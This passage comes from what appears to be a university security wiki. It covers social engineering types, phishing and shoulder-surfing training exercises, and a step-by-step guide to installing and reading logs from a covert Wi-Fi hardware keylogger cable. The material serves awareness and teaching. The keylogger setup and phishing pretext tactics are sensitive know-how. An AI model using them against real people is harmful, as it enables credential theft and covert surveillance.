: Spear phishing involves a more targeted approach, these Mails are tailored to specific individuals or companies. Attackers make use of personal information to create an illusion of trustworthiness and legitimacy, increasing the likelihood of success.
;Whaling
: Whaling is similar to spear phishing. The significant difference is that in this method targets of a high-profile such as CEOs or public figures are the focus. It requires extensive research, to gather information for a successful spoof.
;Baiting
: Baiting attacks offer baits such as random USB sticks, email attachments, or links to invoke curiosity or offer desirable goods for free. They often use offers or a sense of urgency, like last-minute sales, to quickly needed action.
;Scareware
: Scareware exploits the tendency to act rash when someone feels threatened. By staging a threat and offering a solution to unsuspecting victims. This can be done in the form of emails, pop-ups, or SMS that lead to malware or fake websites collecting sensitive information.

==Mail Phishing Exercise==
The exercise "Mail Phishing" is designed to educate users about the risks about freely available personal information. Especially focusing on social media platforms. The exercise serves as a demonstration of how social engineers can exploit personal details to execute phishing attacks. Also underlining the necessity for cautious communication in work environments.

*[[File:Mail.PNG]]
===Purpose===

;Raise Awareness
: By simulating a phishing scenario using social media information, the exercise aims to raise awareness about the potential threats of sharing personal details online.
;Educate about Phishing
: Through experiencing the attackers perspective, participants learn about the tactics used by Cybercriminals.
;Promote Alertness
: The exercise shows importance of exercising caution when sharing online.
===Scenario===
The exercises aim is to personalize a Mail to a employee, faking familiarity. It begins with Users are prompted to access publicly available social media data to gather information about the fictional individual.
Upon gathering the necessary information, participants are instructed to complete an email addressed to Cameron, impersonating a colleague named Sarah from the accounting department. The email requests Cameron's employee ID and department. The Mail seems urgent thanks to faking a system failure, exploiting the familiarity implied by the shared personal details.
If participants successfully fill in Cameron's employee ID t, they "win" the exercise. In the case of a successful spoof, the User gets a short text explaining the tactics behind this attack. Highlighting the potential risks associated with sharing personal information online and the importance of verifying requests for sensitive data in professional contexts.

===Lessons===
#Recognizing the risks associated with freely available personal information on social media.
#Understanding the tactics employed in phishing attacks and how they exploit human psychology.
#Developing critical thinking skills to discern legitimate communication from potential phishing attempts.
#Implementing best practices for safeguarding sensitive information in online interactions.

==Shoulder Surfing Exercise==
The Exercise "Shoulder Surfing" is designed to educate on the potential risks associated with unauthorized access to sensitive information. Furthermore, it should highlight the importance of good password hygiene. Participants engage in a simulated scenario where they attempt to uncover a coworker's password and User.

*[[File:Shoulder.PNG]]
===Purpose===
;Highlighting the Simplicity of Shoulder Surfing
: By simulating a scenario where participants attempt to obtain a coworker's password through observation, the exercise underscores the risks associated with shoulder surfing and unauthorized access to sensitive information.
;Promote Good Password Hygiene
: Participants learn about the importance of using strong, unique passwords and avoiding the use of easily guessable information, such as details found in one's surroundings.
;Raise Awareness about Password complexity
: The exercise encourages participants to consider their password choices.

===Scenario===
The exercise aims to figure out the identity of a coworker by “hacking” a web page. It begins with they suspect a coworker of stealing a project and need evidence to confirm their suspicions. Participants are tasked with extricating information’s based on the work environment and a shoulder surfing snapshot.
Using the observed information, participants attempt to get into the coworker's given data on the site.
Once participants successfully “hack” the Profile, they uncover personal information about the coworker, effectively confirming their identity and involvement in the scenario.

===Learning Objectives===
#Understanding the risks associated with shoulder surfing and unauthorized access to sensitive information.
#The importance of using strong, unique passwords to protect personal and professional accounts.
#Developing critical thinking skills to identify potential security vulnerabilities in password practices.
#Promoting a culture of security awareness and personal responsibility in safeguarding sensitive data.

==The Project==
[https://git.fh-campuswien.ac.at/c2010475112/Phishing-Platform ProjectGit]

[[Category:Documentation]]

AirDrive Forensic Keylogger Cable

2024-03-12T17:20:13Z

Ikramer:

[[File:AirDrive Forensic Keylogger Cable.PNG|250px|thumb|right|AirDrive Forensic Keylogger Cable]]

== Summary ==

This keylogger is one with WiFi access and a minimized risk of detection. The USB keylogger module is hidden in a USB extension cable. Externally, the USB cable does not differ from conventional cables.

The AirDrive Forensic Keylogger Module which was built into the cable is an ultra-small USB keylogger module designed for installation in a USB keyboard. The small size makes it easy to install in any USB keyboard. This is available as standard and pro version.
Exact information can be found [https://www.keelog.com/de/forensic-keylogger/ here]. A video with detailed installation instructions can be found [https://www.youtube.com/watch?v=7AUssrySD2I here].

[[File:AirDrive Forensic Keylogger Module.PNG|250px|thumb|right|AirDrive Forensic Keylogger Module]]

== Characteristics ==

* Stores input from any USB keyboard
* 16MB internal flash memory
* Undetectable by security software
* Supports over 40 national keyboard layouts
* Compatible with barcode readers
* Works as a wireless Wi-Fi hotspot
* Connect from any computer, smartphone or tablet
* Data access via web browser
* Remote data retrieval without touching the device
* Supports WEP, WPA and WPA-2 network security
* Memory secured by hardware encryption

== Description ==

The AirDrive cable acts as a Wi-Fi hotspot. This means that the cable can establish a Wi-Fi connection with any Wi-Fi device (smartphone, tablet or laptop). The selected Wi-Fi device can then connect to the interface with the data protocol. There, there is the possibility to set configurations, such as the WLAN settings of the WLAN access point and the options for logging the keyboard strokes. Over 40 national keyboard layouts, including the world's most popular languages and keyboard layouts, are supported. Installation requires no additional software or drivers.

=== Hands-On ===

1. Connect the USB keylogger cable to the external keyboard and the target host. 2.

2. Connect your smartphone, tablet or computer to the Wi-Fi network "AIR_XXYYZZ", where "XXYYZZ" is the device ID of the USB cable. 3.

3. You can then use any web browser to access the interface under the IP "192.168.4.1".

[[File:Webinterface 1.PNG|800px|thumb|none|]]

4. Open the settings to configure the keylogger cable. Various configurations can be made there:

[[File:Webinterface 2.PNG|800px|thumb|none|]]

[[File:Webinterface 3.PNG|800px|thumb|none|]]

[[File:Webinterface 4.PNG|800px|thumb|none|]]

To apply the settings, click on "Save data logging settings" and/or on “Save Access Point settings”.

5. Since this is not a "Pro" device, there are no advanced settings available. Features like an internet connection via the access point, timestamps, reporting via email and data streaming can be set via this sub-menu.

6. However, we can download the "Data Log" under the "Download" button, which can be several pages long.

7. With a click on "Data Log" we can observe what is typed on the external keyboard.

'''Example of a Data Log'''

In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.

[[File:Webinterface 5.PNG|800px|thumb|none|]]

=== Important Legal Notice [1] ===

The usage of a keylogger is fully legal as long as a clear notice is displayed, informing the user of the monitored equipment about the presence of a keystroke logger. We encourage the use of this equipment only for the purpose of monitoring your own computer, especially for protecting children against online hazards. It is NOT LEGAL to use a keylogger for the purpose of intercepting third party data, especially passwords, banking data, confidential correspondence, etc. If in doubt, please seek legal advice before using a keystroke logger. A good starting point is the U.S. Department of Justice Letter on Keystroke Monitoring and Login Banners, according to which a clear notice should be displayed, warning that user keystrokes may be logged.

[[File:This PC is monitored.PNG|300px|thumb|none|]]

== Hardware Used ==

[[Forensic USB keylogger cable]]

== References ==

* https://www.keelog.com/de/forensic-keylogger/
* https://www.keelog.com/airdrive-keylogger-max-premium-usb-hardware-keylogger-with-wifi-and-flash-email-and-live-data-transfer/

[[Category:Documentation]]